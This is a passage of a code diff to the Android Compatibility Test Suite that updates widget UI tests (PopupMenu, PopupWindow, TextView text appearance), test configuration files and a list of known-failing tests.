                 mPopupMenu = new PopupMenu(mActivity, mAnchor);
             } else if (!mUseCustomPopupResource) {
@@ -390,6 +436,10 @@
                 mOnDismissListener = mock(PopupMenu.OnDismissListener.class);
                 mPopupMenu.setOnDismissListener(mOnDismissListener);
             }
+
+            if (mGroupDividerEnabled) {
+                mPopupMenu.getMenu().setGroupDividerEnabled(true);
+            }
         }
 
         public void show() {
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 330a92a..966fe19 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -1330,6 +1330,9 @@
             mActivity.runOnUiThread(() ->
                     mActivity.setRequestedOrientation(orientation));
             mActivity.waitForConfigurationChanged();
+            // Wait for main thread to be idle to make sure layout and draw have been performed
+            // before continuing.
+            mInstrumentation.waitForIdleSync();
 
             View parentWindowView = mActivity.getWindow().getDecorView();
             int parentWidth = parentWindowView.getMeasuredWidth();
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index ac90cb7..29ae05f 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -139,7 +139,6 @@
 import android.view.inputmethod.ExtractedTextRequest;
 import android.view.inputmethod.InputConnection;
 import android.view.inputmethod.InputMethodManager;
-import android.view.textclassifier.TextClassification;
 import android.view.textclassifier.TextClassifier;
 import android.view.textclassifier.TextSelection;
 import android.widget.EditText;
@@ -190,15 +189,9 @@
     private static final TextClassifier FAKE_TEXT_CLASSIFIER = new TextClassifier() {
         @Override
         public TextSelection suggestSelection(
-                CharSequence text, int start, int end, LocaleList locales) {
+                CharSequence text, int start, int end, TextSelection.Options options) {
             return new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build();
         }
-
-        @Override
-        public TextClassification classifyText(
-                CharSequence text, int start, int end, LocaleList locales) {
-            return new TextClassification.Builder().build();
-        }
     };
     private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
 
@@ -4445,6 +4438,75 @@
         assertEquals(null, mTextView.getTypeface());
     }
 
+    @Test
+    public void testXmlTextAppearance() {
+        mTextView = findTextView(R.id.textview_textappearance_attrs1);
+        assertEquals(22f, mTextView.getTextSize(), 0.01f);
+        Typeface italicSans = Typeface.create(Typeface.SANS_SERIF, Typeface.ITALIC);
+        assertEquals(italicSans, mTextView.getTypeface());
+        assertEquals(Typeface.ITALIC, mTextView.getTypeface().getStyle());
+        assertTrue(mTextView.isAllCaps());
+        assertEquals(2.4f, mTextView.getLetterSpacing(), 0.01f);
+        assertEquals("smcp", mTextView.getFontFeatureSettings());
+
+        mTextView = findTextView(R.id.textview_textappearance_attrs2);
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+        assertEquals(mActivity.getResources().getColor(R.drawable.red),
+                mTextView.getShadowColor());
+        assertEquals(10.3f, mTextView.getShadowDx(), 0.01f);
+        assertEquals(0.5f, mTextView.getShadowDy(), 0.01f);
+        assertEquals(3.3f, mTextView.getShadowRadius(), 0.01f);
+        assertTrue(mTextView.isElegantTextHeight());
+
+        // This TextView has both a TextAppearance and a style, so the style should override.
+        mTextView = findTextView(R.id.textview_textappearance_attrs3);
+        assertEquals(32f, mTextView.getTextSize(), 0.01f);
+        Typeface boldSerif = Typeface.create(Typeface.SERIF, Typeface.BOLD);
+        assertEquals(boldSerif, mTextView.getTypeface());
+        assertEquals(Typeface.BOLD, mTextView.getTypeface().getStyle());
+        assertFalse(mTextView.isAllCaps());
+        assertEquals(2.6f, mTextView.getLetterSpacing(), 0.01f);
+        assertEquals(mActivity.getResources().getColor(R.drawable.blue),
+                mTextView.getShadowColor());
+        assertEquals(1.3f, mTextView.getShadowDx(), 0.01f);
+        assertEquals(10.5f, mTextView.getShadowDy(), 0.01f);
+        assertEquals(5.3f, mTextView.getShadowRadius(), 0.01f);
+        assertFalse(mTextView.isElegantTextHeight());
+
+        // This TextView has no TextAppearance and has a style, so the style should be applied.
+        mTextView = findTextView(R.id.textview_textappearance_attrs4);
+        assertEquals(32f, mTextView.getTextSize(), 0.01f);
+        assertEquals(boldSerif, mTextView.getTypeface());
+        assertEquals(Typeface.BOLD, mTextView.getTypeface().getStyle());
+        assertFalse(mTextView.isAllCaps());
+        assertEquals(2.6f, mTextView.getLetterSpacing(), 0.01f);
+        assertEquals(mActivity.getResources().getColor(R.drawable.blue),
+                mTextView.getShadowColor());
+        assertEquals(1.3f, mTextView.getShadowDx(), 0.01f);
+        assertEquals(10.5f, mTextView.getShadowDy(), 0.01f);
+        assertEquals(5.3f, mTextView.getShadowRadius(), 0.01f);
+        assertFalse(mTextView.isElegantTextHeight());
+
+        // Note: text, link and hint colors can't be tested due to the default style overriding
+        // values b/63923542
+    }
+
+    @Test
+    public void testXmlTypefaceFontFamilyHierarchy() {
+        // This view has typeface=serif set on the view directly and a fontFamily on the appearance.
+        // In this case, the attr set directly on the view should take precedence.
+        mTextView = findTextView(R.id.textview_textappearance_attrs_serif_fontfamily);
+
+        assertEquals(Typeface.SERIF, mTextView.getTypeface());
+    }
+
+    @Test
+    public void testAttributeReading_allCapsAndPassword() {
+        // This TextView has all caps & password, therefore all caps should be ignored.
+        mTextView = findTextView(R.id.textview_textappearance_attrs_allcaps_password);
+        assertFalse(mTextView.isAllCaps());
+    }
+
     @UiThreadTest
     @Test
     public void testAccessCompoundDrawableTint() {
diff --git a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
index c4d4199..1d63c40 100644
--- a/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
+++ b/tests/tests/widget/src/android/widget/cts/util/ListScenario.java
@@ -16,13 +16,6 @@
 
 package android.widget.cts.util;
 
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
 import android.app.Activity;
 import android.graphics.Rect;
 import android.os.Bundle;
@@ -36,6 +29,13 @@
 import android.widget.ListView;
 import android.widget.TextView;
 
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
 /**
  * Utility base class for creating various List scenarios.  Configurable by the number
  * of items, how tall each item should be (in relation to the screen height), and
@@ -390,6 +390,7 @@
             mLinearLayout.addView(mListView);
             setContentView(mLinearLayout);
         }
+        mLinearLayout.restoreDefaultFocus();
     }
 
     /**
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
index bc6240d..b58bd2c 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
@@ -26,7 +26,7 @@
 	android-support-test \
 	legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_SDK_VERSION := current
 
 LOCAL_PREBUILT_JNI_LIBS_arm := wrap.sh
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index 0c740e4..ef5b71e 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Debug Wrap (Malloc Debug) test cases">
     <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapDebugMallocDebugTestCases.apk" />
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 9f0256c..ffbd6b1 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -23,8 +23,8 @@
     <option name="compatibility:exclude-filter" value="CtsLocationTestCases android.location.cts.GnssTtffTests#testTtffWithNetwork" />
 
     <!-- b/35314835 -->
-    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testAlwaysFocusablePipActivity" />
-    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests#testLaunchIntoPinnedStack" />
+    <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests#testAlwaysFocusablePipActivity" />
+    <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests#testLaunchIntoPinnedStack" />
 
     <!-- b/17595050 -->
     <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText" />
@@ -126,6 +126,12 @@
     <!-- b/36686383 -->
     <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
 
+    <!-- b/33090965 -->
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
+
     <!-- b/37482372 -->
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowInOutPortraitTest" />
@@ -175,6 +181,9 @@
     <option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
     <option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
 
+    <!-- b/38280830 -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
+
     <!-- b/38420898 -->
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
     <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiChannel" />
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
index cbecada..e488410 100644
--- a/tools/cts-tradefed/res/config/retry.xml
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -18,6 +18,10 @@
     <device_recovery class="com.android.tradefed.device.WaitDeviceRecovery" />
     <build_provider class="com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider" />
     <test class="com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest" />
+
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:false" />
+
     <logger class="com.android.tradefed.log.FileLogger">
         <option name="log-level-display" value="WARN" />
     </logger>
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index b48187c..8c3d78f 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -25,7 +25,6 @@
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 LOCAL_JAVA_LIBRARIES := junit
--include cts/error_prone_rules_tests.mk
 include $(BUILD_JAVA_LIBRARY)
 
 cts-tf-dalvik-lib.jar := $(full_classes_jar)